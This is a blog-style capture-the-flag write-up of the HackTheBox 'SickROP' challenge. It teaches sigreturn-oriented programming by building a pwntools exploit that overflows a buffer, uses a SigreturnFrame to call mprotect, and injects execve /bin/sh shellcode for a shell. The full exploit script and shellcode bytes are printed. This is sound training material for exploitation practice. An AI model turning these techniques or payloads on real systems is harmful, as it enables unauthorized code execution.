SickROP — Hackthebox (Introduction to Sigreturn Oriented Programming/SROP)

Hariharan@Blog:~$
8 min readOct 14, 2021

--

INTRODUCTION

Hello PWN enthusiasts, we will do a technique called Sigreturn oriented programming/SROP to complete this challenge. I’ll explain everything in SROP while doing the Sickrop challenge. Skip to the challenge section if you know about the basics of SIGRETURN.

NOTE: I am using the mprotect() method in this blog. I’ll probably put a blog on the sys_execve() method later :)

WHY SIGRETURN?

So why do we learn a new attack? Couldn’t we use normal ROP to finish the challenge?

64-bit binary has some calling conventions for every function. The parameters to the function need to be loaded into registers before the function is called. For example, when there is a system call, We load “/bin/sh” or “/bin/bash” as a pointer to the RDI register. Then we call the system call. This will pop us a shell as expected.

pop rdi;
*pointer to /bin/sh*
system call

This is a basic ROP chain that we usually use when we have pop rdi. But let us see what Sickrop binary has. I am using ROPgadget for listing out all the gadgets this binary has.

We have only 16 gadgets available :( We do not have a pop rdi. So how do we execute system call.

We could use syscall to perform an sys_execve(). For this I will be using the Linux syscall table to find what parameters I need to call sys_execve().

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

If you find for sys_execve there are a lot of parameters to pass before we call this function. I’ll make your life easier.

So we need to set RAX = 59 and RDI to the pointer “/bin/sh”. But again we do not have a pop RAX or pop RDI to perform this for us. What do we do ??

And that’s where Sigreturn comes in place. We can pop out shellcode with only 2 gadgets!!!

WHAT IS SIGRETURN ?

Sigreturn uses a signal handler to clean up the stack frame after a signal is triggered.

It also uses temporarily stored data such as registers on the stack to perform a task. We could set the value of registers using the pwntool built-in function. This could be done manually, But that is hectic as all the register values have to be sent manually even though they are not needed. But what to set the register values as? We will use the concept of sys_mprotect() here.

sys_mprotect() makes a memory segment with a fixed address writable and executable.

Imagine doing this! You could execute a shellcode from your stack even if NX bit is enabled! And that's exactly what we are going to do in this challenge.

HOW TO SOLVE THIS CHALLENGE ?

First we set the register value to call the sys_mprotect. Then we trigger the sys_rt_sigreturn. Now we would have a stack which is executable. So we could inject a shellcode in the buffer and then return to this shellcode from the RIP region.

CHALLENGE

We start with checking the file type and memory protections involved with the binary

This is an ASM code directly compiled and is statically linked. Only NX and ASLR(Default) is enabled. So we cannot execute the shellcode without changing the stack as executable.

Lets see the entire code with objdump.

Let us analyze the code fully before we dive into exploiting it. The entry point is the _start, just like our main() in c code. From here, it calls the vuln() function. In the vuln() function there is a call to the read function. In the read function, the RAX(it is denoted as EAX here) gets the value 0. In the Linux Syscall table, 0 is for the read. After that, some parameters are passed and then Syscall is been called. So if you understood this part you can proceed further.

Now, let’s start building up our exploit. We need to find the overflow offset. For this let’s use gdb to find it out for us.

As this is a 64bit binary, We need to look at what the RBP is overwritten with and then add 8 bytes to it to get to the RIP/Return region.

We can see the RBP is overwritten with “iaaajaaa”

So 32 + 8 is the overflow offset here.

Next, we come to the main concept, Sigreturn. We use the mprotect first to make a memory segment writeable. Then we Call the sigreturn handler and then place our shellcode into the buffer and execute it.
First, let us find a writable memory segment. I am opening ghidra for this. Ghidra kinda gives us an idea about where this binary starts. There is a prompt when we import the binary.

The minimum address is 0x400000. So we will make this place a writable segment. Next from syscall table. sys_mprotect is RAX=10. In pwntools, you can create a frame with all register values you want.

Next, we need the syscall address to place in one of the registers. For this, we can use ROPgadget.

Here is the code for frame.

syscall = 0x401014vuln_function  = p64(0x40102e)
vuln_pointer = 0x4010d8
writable = 0x400000frame = SigreturnFrame(kernel=”amd64")
frame.rax = 10 #Mprotect for syscall table
frame.rdi = writable #Writable memory segment
frame.rsi = 0x4000 #Size
frame.rdx = 7 #Read/Write/Exectable access
frame.rsp = vuln_pointer #Why not vuln function but a pointer to vuln? Explained below
frame.rip = syscall #Calling the syscall in the end

These are the registers we will use to create a frame and trigger a sigreturn call after this.

Here, RAX=10 is for calling the mprotect for the Linux syscall table. RDI=writable area segment. RSI = 0x4000, This is the size of the stack frame we allocate(You can change this value).RDX=7 for giving the stack frame read, write, and executable access.

Now here is where I stumbled a bit. RSP is for returning to a place after the entire process finishes (Just like a safe point without crashing). Calling the vuln() again is an advantage here as we get to call the read function again. Notice I did not send the vuln function address here, instead, I called pointer to vuln function. This is because we are changing the stack frame and calling the vuln function directly will not get us to that function.

Fortunately calling a pointer to function allows us to get to the vuln function. We can find the pointer value using gdb. Break the main and then use “find” in gdb-peda.

0x4010d8 is the pointer of the function vuln.

Now we craft our first payload.

payload = b"A"*40 + vuln_function + p64(syscall) + bytes(frame)

First, we overwrite and reach RIP/Return with 40 junk characters. Then we call the vuln_function to get the read function. Calling a syscall will execute the read and then we send in the frame as bytes. Now we need to trigger a sigreturn signal to activate what we just sent. To call a sigreturn we can have a look at the Linux syscall table again. Rax=15 will trigger a sigreturn. But we don’t have any pop rax gadget here to trigger a sigreturn call. But here is a technique that works. The number of bytes we send in the input stream after executing the binary is stored in the RAX. We can notice this if you attach gdb after the first payload is sent

payload1 = b"A"*40 + vuln_function + p64(syscall) + bytes(frame)p.sendline(payload1)
p.recv()
gdb.attach(p)

I sent some junk char into the input stream. Then I had a look at the reg values. RAX is set to 54. But we only send 53 characters into the stream. So the enter key after I sent an input is also taken into consideration.

The second payload is just 15 junk characters.

payload = b"C"*15
p.send(payload)
p.recv()

After this our stack becomes executable and you can confirm this with gdb attach after sending the second payload.

Next, we can store the payload into our buffer. Then Execute it by calling the starting of shellcode address in our RIP/Return region. For finding the starting of shellcode we use gdb attach again.

payload = b"C"*15p.send(payload)
p.recv()
gdb.attach(p)

The bunch of A’s are stored in RSI/R10, So 0x4010b8 is the starting address of shellcode. Instead of A’s we can store our shellcode and execute it.

shellcode = (b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05") # 23bytespayload3 = shellcode + b"\x90"*17 + p64(0x00000000004010b8)p.send(payload3)
p.recv()

17 bytes is to fill the extra spaces after shellcode is stored. Calling the starting address of shellcode, we can execute the shellcode and pop our shell.

Here is the full code.

from pwn import *
context.clear(arch='amd64')
p = process("./sick_rop")
p = remote("*IP Address*" , port number)
shellcode = (b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05") # 23B // From shellstrormsyscall = 0x401014vuln_function = p64(0x40102e)
vuln_pointer = 0x4010d8
writable = 0x400000frame = SigreturnFrame(kernel="amd64")
frame.rax = 10 #Mprotect for syscall table
frame.rdi = writable #Writable memory segment
frame.rsi = 0x4000 #Size
frame.rdx = 7 #Read/Write/Exectable access
frame.rsp = vuln_pointer #Why not vuln function but a pointer to vuln?
frame.rip = syscall #Calling the syscall in the end
payload1 = b"A"*40 + vuln_function + p64(syscall) + bytes(frame)p.sendline(payload1)
p.recv()
#gdb.attach(p)payload = b"C"*15p.send(payload)
p.recv()
payload3 = shellcode + b"\x90"*17 + p64(0x00000000004010b8)p.send(payload3)
p.recv()
# gdb.attach(p)p.interactive()

Executing this, we pop our shell.

Use this in remote and get your flag.

Hope you understood the challenge. Do check out my other blogs.

Don’t forget to give some claps if you reached here :) Follow me for more write-ups.

Goodbye:)

--

--